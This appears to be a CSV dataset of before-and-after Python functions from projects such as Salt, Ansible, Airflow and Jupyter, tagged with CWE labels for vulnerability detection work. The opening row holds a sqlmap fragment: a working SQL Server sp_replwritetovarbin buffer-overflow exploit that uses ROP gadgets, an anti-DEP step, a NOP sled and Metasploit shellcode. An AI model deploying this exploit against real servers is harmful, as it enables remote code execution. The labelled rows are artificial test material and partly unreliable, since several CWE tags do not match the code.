            errMsg += ""%s Service Pack %d)"" % (Backend.getOsVersion(), Backend.getOsServicePack())
            raise SqlmapUnsupportedFeatureException(errMsg)

        shellcodeChar = """"
        hexStr = binascii.hexlify(self.shellcodeString[:-1])

        for hexPair in xrange(0, len(hexStr), 2):
            shellcodeChar += ""CHAR(0x%s)+"" % hexStr[hexPair:hexPair + 2]

        shellcodeChar = shellcodeChar[:-1]

        self.spExploit = """"""DECLARE @buf NVARCHAR(4000),
        @val NVARCHAR(4),
        @counter INT
        SET @buf = '
        DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
        EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
        SET @val = CHAR(0x41)
        SET @counter = 0
        WHILE @counter < 3320
        BEGIN
          SET @counter = @counter + 1
          IF @counter = 411
          BEGIN
            /* pointer to call [ecx+8] */
            SET @buf = @buf + %s

            /* push ebp, pop esp, ret 4 */
            SET @buf = @buf + %s

            /* push ecx, pop esp, pop ebp, retn 8 */
            SET @buf = @buf + %s

            /* Garbage */
            SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)

            /* retn 1c */
            SET @buf = @buf + %s

            /* retn 1c */
            SET @buf = @buf + %s

            /* anti DEP */
            SET @buf = @buf + %s

            /* jmp esp */
            SET @buf = @buf + %s

            /* jmp esp */
            SET @buf = @buf + %s

            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
            SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)

            set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
            set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
            set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)

            /* Metasploit shellcode */
            SET @buf = @buf + %s

            SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
            SET @counter = @counter + 302
            SET @val =  CHAR(0x43)
            CONTINUE
          END
          SET @buf = @buf + @val
        END
        SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
        EXEC master..sp_executesql @buf
        """""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)

        self.spExploit = self.spExploit.replace(""    "", """").replace(""\n"", "" "")

        logger.info(""triggering the buffer overflow vulnerability, please wait.."")
        inject.goStacked(self.spExploit, silent=True)"
,UNKNOWN,UNKNOWN,salt/client/api.py,1,"def signature(self, cmd):
        '''
        Convenience function that returns dict of function signature(s) specified by cmd.

        cmd is dict of the form:
        {
            'client': 'clienttypestring'
            'module' : 'modulestring',
            'tgt' : 'targetpatternstring',
            'expr_form' : 'targetpatterntype',
            'token': 'salttokenstring',
            'username': 'usernamestring',
            'password': 'passwordstring',
            'eauth': 'eauthtypestring',
        }

        The cmd dict items are as follows:
        client: Either 'master' or 'minion'. Defaults to 'minion' if missing
        module: required. This is either a module or module function name for
            the specified client.
        tgt: Optional pattern string specifying the targeted minions when client
          is 'minion'
        expr_form: Optional target pattern type string when client is 'minion'.
            Example: 'glob' defaults to 'glob' if missing
        token: the salt token. Either token: is required or the set of username:,
            password: , and eauth:
        username: the salt username. Required if token is missing.
        password: the user's password. Required if token is missing.
        eauth: the authentication type such as 'pam' or 'ldap'. Required if token is missing

        '''
        result =  {}

        client = cmd.get('client', 'minion')
        if client == 'minion':
            cmd['fun'] = 'sys.argspec'
            cmd['kwarg'] = dict(module=cmd['module'])
            result = self.run(cmd)
        elif client == 'master':
            parts = cmd['module'].split('.')
            client = parts[0]
            module = '.'.join(parts[1:]) #strip prefix
            if client == 'wheel':
                functions = self.wheelClient.w_funcs
            elif client == 'runner':
                functions = self.runnerClient.functions
            result =  salt.utils.argspec_report(functions, module)
        return result",CWE-259,saltstack/salt,bc819f95ec302f8832d9ece11c2d90ddd4c6cfa2,"def signature(self, cmd):
        '''
        Convenience function that returns dict of function signature(s) specified by cmd.

        cmd is dict of the form:
        {
            'client': 'clienttypestring'
            'module' : 'modulestring',
            'tgt' : 'targetpatternstring',
            'expr_form' : 'targetpatterntype',
            'token': 'salttokenstring',
            'username': 'usernamestring',
            'password': 'passwordstring',
            'eauth': 'eauthtypestring',
        }

        The cmd dict items are as follows:
        client: Either 'master' or 'minion'. Defaults to 'minion' if missing
        module: required. This is either a module or module function name for
            the specified client.
        tgt: Optional pattern string specifying the targeted minions when client
          is 'minion'
        expr_form: Optional target pattern type string when client is 'minion'.
            Example: 'glob' defaults to 'glob' if missing
        token: the salt token. Either token: is required or the set of username:,
            password: , and eauth:
        username: the salt username. Required if token is missing.
        password: the user's password. Required if token is missing.
        eauth: the authentication type such as 'pam' or 'ldap'. Required if token is missing

        '''
        result =  {}

        client = cmd.get('client', 'minion')
        if client == 'minion':
            cmd['fun'] = 'sys.argspec'
            cmd['kwarg'] = dict(module=cmd['module'])
            result = self.run(cmd)
        elif client == 'master':
            parts = cmd['module'].split('.')
            client = parts[0]
            module = '.'.join(parts[1:]) #strip prefix
            if client == 'wheel':
                functions = self.wheelClient.w_funcs
            elif  client == 'runner':
                functions = self.runnerClient.functions
            result =  salt.utils.argspec_report(functions, module)
        return result"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/rsakey.py,0,"def generate(bits, progress_func=None):
        """"""
        Generate a new private RSA key.  This factory function can be used to
        generate a new host key or authentication key.

        @param bits: number of bits the generated key should be.
        @type bits: int
        @param progress_func: an optional function to call at key points in
            key generation (used by C{pyCrypto.PublicKey}).
        @type progress_func: function
        @return: new private key
        @rtype: L{RSAKey}

        @since: fearow
        """"""
        randpool.stir()
        rsa = RSA.generate(bits, randpool.get_bytes, progress_func)
        key = RSAKey(vals=(rsa.e, rsa.n))
        key.d = rsa.d
        key.p = rsa.p
        key.q = rsa.q
        return key",,paramiko/paramiko,b1d58c5cebbb1a2a847bb20045c5b981f2f99c5b,"def generate(bits, progress_func=None):
        """"""
        Generate a new private RSA key.  This factory function can be used to
        generate a new host key or authentication key.

        @param bits: number of bits the generated key should be.
        @type bits: int
        @param progress_func: an optional function to call at key points in
            key generation (used by C{pyCrypto.PublicKey}).
        @type progress_func: function
        @return: new private key
        @rtype: L{RSAKey}

        @since: fearow
        """"""
        rsa = RSA.generate(bits, randpool.get_bytes, progress_func)
        key = RSAKey(vals=(rsa.e, rsa.n))
        key.d = rsa.d
        key.p = rsa.p
        key.q = rsa.q
        return key"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/connection/network_cli.py,0,"def update_play_context(self, pc_data):
        """"""Updates the play context information for the connection""""""
        pc_data = to_bytes(pc_data)
        if PY3:
            pc_data = cPickle.loads(pc_data, encoding='bytes')
        else:
            pc_data = cPickle.loads(pc_data)
        play_context = PlayContext()
        play_context.deserialize(pc_data)

        messages = ['updating play_context for connection']
        if self._play_context.become is False and play_context.become is True:
            auth_pass = play_context.become_pass
            self._terminal.on_become(passwd=auth_pass)
            messages.append('authorizing connection')

        elif self._play_context.become is True and not play_context.become:
            self._terminal.on_unbecome()
            messages.append('deauthorizing connection')

        self._play_context = play_context

        self.reset_history()
        self.disable_response_logging()

        return messages",,ansible/ansible,ba4b12358c7a1401e058012dffda18c1dc1b8e00,"def update_play_context(self, pc_data):
        """"""Updates the play context information for the connection""""""
        pc_data = to_bytes(pc_data)
        if PY3:
            pc_data = cPickle.loads(pc_data, encoding='bytes')
        else:
            pc_data = cPickle.loads(pc_data)
        play_context = PlayContext()
        play_context.deserialize(pc_data)

        messages = ['updating play_context for connection']
        if self._play_context.become is False and play_context.become is True:
            auth_pass = play_context.become_pass
            self._terminal.on_become(passwd=auth_pass)
            messages.append('authorizing connection')

        elif self._play_context.become is True and not play_context.become:
            self._terminal.on_unbecome()
            messages.append('deauthorizing connection')

        self._play_context = play_context
        return messages"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,jupyter_notebook/auth/login.py,0,"def post(self):
        typed_password = self.get_argument('password', default=u'')
        if self.login_available(self.settings):
            if passwd_check(self.hashed_password, typed_password):
                # tornado <4.2 have a bug that consider secure==True as soon as 
                # 'secure' kwarg is passed to set_secure_cookie
                if self.settings.get('secure_cookie', self.request.protocol == 'https'):
                    kwargs = {'secure':True}
                else:
                    kwargs = {}
                self.set_secure_cookie(self.cookie_name, str(uuid.uuid4()), **kwargs)
            else:
                self._render(message={'error': 'Invalid password'})
                return

        self.redirect(self.get_argument('next', default=self.base_url))",,jupyter/notebook,c6f9974fafe04e6ac07736d3bef4183e5c77ac6d,"def post(self):
        typed_password = self.get_argument('password', default=u'')
        if self.login_available(self.settings):
            if passwd_check(self.hashed_password, typed_password):
                self.set_secure_cookie(self.cookie_name, str(uuid.uuid4()))
            else:
                self._render(message={'error': 'Invalid password'})
                return

        self.redirect(self.get_argument('next', default=self.base_url))"
,UNKNOWN,UNKNOWN,tests/pytests/pkg/upgrade/test_salt_upgrade.py,1,"def test_salt_upgrade_minion(
    salt_call_cli, install_salt
):  # pylint: disable=logging-fstring-interpolation
    """"""
    Test an upgrade of Salt Minion.
    """"""

    log.warning(""DGM test_salt_upgrade_minion entry"")
    print(""DGM test_salt_upgrade_minion entry"")
    if install_salt.relenv:
        original_py_version = install_salt.package_python_version()

    ret = salt_call_cli.run(""--local"", ""cmd.run"", ""ps aux"")
    print(f""DGM test_salt_upgrade_minion, ps aux ret '{ret}'"")
    assert ret.returncode == 0
    # Verify previous install version is setup correctly and works
    ret = salt_call_cli.run(""--local"", ""test.version"")
    print(f""DGM test_salt_upgrade_minion, test.version ret '{ret}'"")
    assert ret.returncode == 0
    installed_version = packaging.version.parse(ret.data)
    dgm_pkg_version_parsed = packaging.version.parse(install_salt.artifact_version)
    log.warning(
        f""DGM test_salt_upgrade_minion, installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
    )
    print(
        f""DGM test_salt_upgrade_minion, installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
    )
    assert installed_version < packaging.version.parse(install_salt.artifact_version)

    # Test pip install before an upgrade
    dep = ""PyGithub==1.56.0""
    install = salt_call_cli.run(""--local"", ""pip.install"", dep)
    assert install.returncode == 0

    # Verify we can use the module dependent on the installed package
    repo = ""https://github.com/saltstack/salt.git""
    use_lib = salt_call_cli.run(""--local"", ""github.get_repo_info"", repo)
    assert ""Authentication information could"" in use_lib.stderr

    # Verify there is a running minion by getting its PID
    if installed_version < packaging.version.parse(""3006.0""):
        # This is using PyInstaller
        process_name = ""run minion""
    else:
        if platform.is_windows():
            process_name = ""salt-minion.exe""
        else:
            process_name = ""salt-minion""
    old_pids = _get_running_salt_minion_pid(process_name)
    assert old_pids

    # Upgrade Salt from previous version and test
    install_salt.install(upgrade=True)
    ret = salt_call_cli.run(""--local"", ""test.version"")
    log.warning(f""DGM test_salt_upgrade_minion, upgrade test_version ret '{ret}'"")
    print(f""DGM test_salt_upgrade_minion, upgrade test_version ret '{ret}'"")

    assert ret.returncode == 0
    installed_version = packaging.version.parse(ret.data)

    dgm_pkg_version_parsed = packaging.version.parse(install_salt.artifact_version)
    log.warning(
        f""DGM test_salt_upgrade_minion, upgrade installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
    )
    print(
        f""DGM test_salt_upgrade_minion, upgrade installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
    )

    assert installed_version == packaging.version.parse(install_salt.artifact_version)

    # Verify there is a new running minion by getting its PID and comparing it
    # with the PID from before the upgrade
    if installed_version < packaging.version.parse(""3006.0""):
        # This is using PyInstaller
        process_name = ""run minion""
    else:
        if platform.is_windows():
            process_name = ""salt-minion.exe""
        else:
            process_name = ""salt-minion""
    new_pids = _get_running_salt_minion_pid(process_name)

    assert new_pids
    assert new_pids != old_pids

    if install_salt.relenv:
        new_py_version = install_salt.package_python_version()
        if new_py_version == original_py_version:
            # test pip install after an upgrade
            use_lib = salt_call_cli.run(""--local"", ""github.get_repo_info"", repo)
            assert ""Authentication information could"" in use_lib.stderr",CWE-703,saltstack/salt,449c82226e7a10a6b39340aaaea2a81dd1abb0d1,"def test_salt_upgrade_minion(
    salt_call_cli, install_salt
):  # pylint: disable=logging-fstring-interpolation
    """"""
    Test an upgrade of Salt Minion.
    """"""

    log.warning(""DGM test_salt_upgrade_minion entry"")
    print(""DGM test_salt_upgrade_minion entry"")
    if install_salt.relenv:
        original_py_version = install_salt.package_python_version()

    # Verify previous install version is setup correctly and works
    ret = salt_call_cli.run(""--local"", ""test.version"")
    print(f""DGM test_salt_upgrade_minion, test.version ret '{ret}'"")
    assert ret.returncode == 0
    ret = salt_call_cli.run(""--local"", ""cmd.run"", ""ps aux"")
    print(f""DGM test_salt_upgrade_minion, ps aux ret '{ret}'"")
    assert ret.returncode == 0
    installed_version = packaging.version.parse(ret.data)
    dgm_pkg_version_parsed = packaging.version.parse(install_salt.artifact_version)
    log.warning(
        f""DGM test_salt_upgrade_minion, installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
    )
    print(
        f""DGM test_salt_upgrade_minion, installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
    )
    assert installed_version < packaging.version.parse(install_salt.artifact_version)

    # Test pip install before an upgrade
    dep = ""PyGithub==1.56.0""
    install = salt_call_cli.run(""--local"", ""pip.install"", dep)
    assert install.returncode == 0

    # Verify we can use the module dependent on the installed package
    repo = ""https://github.com/saltstack/salt.git""
    use_lib = salt_call_cli.run(""--local"", ""github.get_repo_info"", repo)
    assert ""Authentication information could"" in use_lib.stderr

    # Verify there is a running minion by getting its PID
    if installed_version < packaging.version.parse(""3006.0""):
        # This is using PyInstaller
        process_name = ""run minion""
    else:
        if platform.is_windows():
            process_name = ""salt-minion.exe""
        else:
            process_name = ""salt-minion""
    old_pids = _get_running_salt_minion_pid(process_name)
    assert old_pids

    # Upgrade Salt from previous version and test
    install_salt.install(upgrade=True)
    ret = salt_call_cli.run(""--local"", ""test.version"")
    log.warning(f""DGM test_salt_upgrade_minion, upgrade test_version ret '{ret}'"")
    print(f""DGM test_salt_upgrade_minion, upgrade test_version ret '{ret}'"")

    assert ret.returncode == 0
    installed_version = packaging.version.parse(ret.data)

    dgm_pkg_version_parsed = packaging.version.parse(install_salt.artifact_version)
    log.warning(
        f""DGM test_salt_upgrade_minion, upgrade installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
    )
    print(
        f""DGM test_salt_upgrade_minion, upgrade installed_version '{installed_version}', artifact_version '{install_salt.artifact_version}', pkg_version_parsed '{dgm_pkg_version_parsed}'""
    )

    assert installed_version == packaging.version.parse(install_salt.artifact_version)

    # Verify there is a new running minion by getting its PID and comparing it
    # with the PID from before the upgrade
    if installed_version < packaging.version.parse(""3006.0""):
        # This is using PyInstaller
        process_name = ""run minion""
    else:
        if platform.is_windows():
            process_name = ""salt-minion.exe""
        else:
            process_name = ""salt-minion""
    new_pids = _get_running_salt_minion_pid(process_name)

    assert new_pids
    assert new_pids != old_pids

    if install_salt.relenv:
        new_py_version = install_salt.package_python_version()
        if new_py_version == original_py_version:
            # test pip install after an upgrade
            use_lib = salt_call_cli.run(""--local"", ""github.get_repo_info"", repo)
            assert ""Authentication information could"" in use_lib.stderr"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/auth.py,0,"def _oauth_get_user_future(self, access_token, callback):
        """"""Subclasses must override this to get basic information about the
        user.

        Should return a `.Future` whose result is a dictionary
        containing information about the user, which may have been
        retrieved by using ``access_token`` to make a request to the
        service.

        The access token will be added to the returned dictionary to make
        the result of `get_authenticated_user`.

        For backwards compatibility, the callback-based ``_oauth_get_user``
        method is also supported.

        .. deprecated:: 5.1

           The ``_oauth_get_user`` fallback is deprecated and support for it
           will be removed in 6.0.
        """"""
        warnings.warn(""_oauth_get_user is deprecated, override _oauth_get_user_future instead"",
                      DeprecationWarning)
        # By default, call the old-style _oauth_get_user, but new code
        # should override this method instead.
        self._oauth_get_user(access_token, callback)",CWE-Unknown,tornadoweb/tornado,1a0714e7357a7b6cde74b8b1af0d27dfba3e6391,"def _oauth_get_user_future(self, access_token, callback):
        """"""Subclasses must override this to get basic information about the
        user.

        Should return a `.Future` whose result is a dictionary
        containing information about the user, which may have been
        retrieved by using ``access_token`` to make a request to the
        service.

        The access token will be added to the returned dictionary to make
        the result of `get_authenticated_user`.

        For backwards compatibility, the callback-based ``_oauth_get_user``
        method is also supported.
        """"""
        # By default, call the old-style _oauth_get_user, but new code
        # should override this method instead.
        self._oauth_get_user(access_token, callback)"
,UNKNOWN,UNKNOWN,lib/ansible/constants.py,1,"def _get_config(p, section, key, env_var, default):
    ''' helper function for get_config '''
    value = default
    if env_var is not None:
        env_value = os.environ.get(env_var, None)
        if env_value is not None:
            value = env_value

    if p is not None:
        try:
            value = p.get(section, key, raw=True)
        except:
            pass

    return to_text(value, errors='surrogate_or_strict', nonstring='passthru')",CWE-703,ansible/ansible,f129977e2bac77625d513522912652566616dbc7,"def _get_config(p, section, key, env_var, default):
    ''' helper function for get_config '''
    value = default
    if env_var is not None:
        env_value = os.environ.get(env_var, None)
        if env_value is not None:
            value = env_value

    if p is not None:
        try:
            value = p.get(section, key, raw=True)
        except:
            pass

    return to_text(value, errors='surrogate_or_strict')"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/security/kerberos.py,0,"def renew_from_kt():
    # The config is specified in seconds. But we ask for that same amount in
    # minutes to give ourselves a large renewal buffer.
    renewal_lifetime = ""%sm"" % configuration.getint('kerberos', 'reinit_frequency')
    principal = configuration.get('kerberos', 'principal').replace(""_HOST"", socket.getfqdn())
    cmdv = [configuration.get('kerberos', 'kinit_path'),
            ""-r"", renewal_lifetime,
            ""-k"",  # host ticket
            ""-t"", configuration.get('kerberos', 'keytab'),   # specify keytab
            ""-c"", configuration.get('kerberos', 'ccache'),   # specify credentials cache
            principal]
    LOG.info(""Reinitting kerberos from keytab: "" +
             "" "".join(cmdv))

    subp = subprocess.Popen(cmdv,
                            stdout=subprocess.PIPE,
                            stderr=subprocess.PIPE,
                            close_fds=True,
                            bufsize=-1)
    subp.wait()
    if subp.returncode != 0:
        LOG.error(""Couldn't reinit from keytab! `kinit' exited with %s.\n%s\n%s"" % (
            subp.returncode,
            ""\n"".join(subp.stdout.readlines()),
            ""\n"".join(subp.stderr.readlines())))
        sys.exit(subp.returncode)

    global NEED_KRB181_WORKAROUND
    if NEED_KRB181_WORKAROUND is None:
        NEED_KRB181_WORKAROUND = detect_conf_var()
    if NEED_KRB181_WORKAROUND:
        # (From: HUE-640). Kerberos clock have seconds level granularity. Make sure we
        # renew the ticket after the initial valid time.
        time.sleep(1.5)
        perform_krb181_workaround()",CWE-Unknown,apache/airflow,dc1bdf6222094e908b75056f9d6b0d14419e8777,"def renew_from_kt():
    # The config is specified in seconds. But we ask for that same amount in
    # minutes to give ourselves a large renewal buffer.
    renewal_lifetime = ""%sm"" % configuration.getint('kerberos', 'reinit_frequency')
    principal = configuration.get('kerberos', 'principal').replace(""_HOST"", socket.getfqdn())
    cmdv = [configuration.get('kerberos', 'kinit_path'),
            ""-r"", renewal_lifetime,
            ""-k"", # host ticket
            ""-t"", configuration.get('kerberos', 'keytab'),   # specify keytab
            ""-c"", configuration.get('kerberos', 'ccache'),   # specify credentials cache
            principal]
    LOG.info(""Reinitting kerberos from keytab: "" +
             "" "".join(cmdv))

    subp = subprocess.Popen(cmdv,
                            stdout=subprocess.PIPE,
                            stderr=subprocess.PIPE,
                            close_fds=True,
                            bufsize=-1)
    subp.wait()
    if subp.returncode != 0:
        LOG.error(""Couldn't reinit from keytab! `kinit' exited with %s.\n%s\n%s"" % (
            subp.returncode,
            ""\n"".join(subp.stdout.readlines()),
            ""\n"".join(subp.stderr.readlines())))
        sys.exit(subp.returncode)

    global NEED_KRB181_WORKAROUND
    if NEED_KRB181_WORKAROUND is None:
        NEED_KRB181_WORKAROUND = detect_conf_var()
    if NEED_KRB181_WORKAROUND:
        # (From: HUE-640). Kerberos clock have seconds level granularity. Make sure we
        # renew the ticket after the initial valid time.
        time.sleep(1.5)
        perform_krb181_workaround()"
,UNKNOWN,UNKNOWN,tests/www/views/test_views_tasks.py,1,"def test_task_instances(admin_client):
    """"""Test task_instances view.""""""
    resp = admin_client.get(
        f""/object/task_instances?dag_id=example_bash_operator&execution_date={DEFAULT_DATE}"",
        follow_redirects=True,
    )
    assert resp.status_code == 200
    assert resp.json == {
        ""also_run_this"": {
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""notes"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""also_run_this"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": ""root"",
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""run_after_loop"": {
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""notes"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""run_after_loop"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": ""root"",
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""run_this_last"": {
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""notes"": None,
            ""operator"": ""EmptyOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 1,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""run_this_last"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": ""root"",
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_0"": {
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""notes"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""runme_0"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": ""root"",
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_1"": {
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""notes"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""runme_1"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": ""root"",
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""runme_2"": {
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""notes"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""runme_2"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": ""root"",
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""this_will_skip"": {
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""notes"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""this_will_skip"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": ""root"",
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
    }",CWE-703,apache/airflow,dc03b9081f47c11d6c3beb1a2c30bb75385c125c,"def test_task_instances(admin_client):
    """"""Test task_instances view.""""""
    resp = admin_client.get(
        f""/object/task_instances?dag_id=example_bash_operator&execution_date={DEFAULT_DATE}"",
        follow_redirects=True,
    )
    assert resp.status_code == 200
    assert resp.json == {
        ""also_run_this"": {
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""also_run_this"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": ""root"",
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""run_after_loop"": {
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_id"": ""run_after_loop"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 1,
            ""unixname"": ""root"",
            ""updated_at"": DEFAULT_DATE.isoformat(),
        },
        ""run_this_last"": {
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""job_id"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""EmptyOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 1,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
